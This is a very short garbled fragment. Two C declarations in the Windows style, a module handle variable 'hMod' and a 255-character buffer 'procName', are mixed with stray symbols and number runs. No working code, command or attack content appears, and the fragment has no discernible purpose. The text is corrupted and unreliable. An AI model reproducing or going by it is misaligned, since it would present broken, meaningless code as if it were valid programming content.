[1# * HMODULE hMod; #>=/15: char procName[255]; 5& |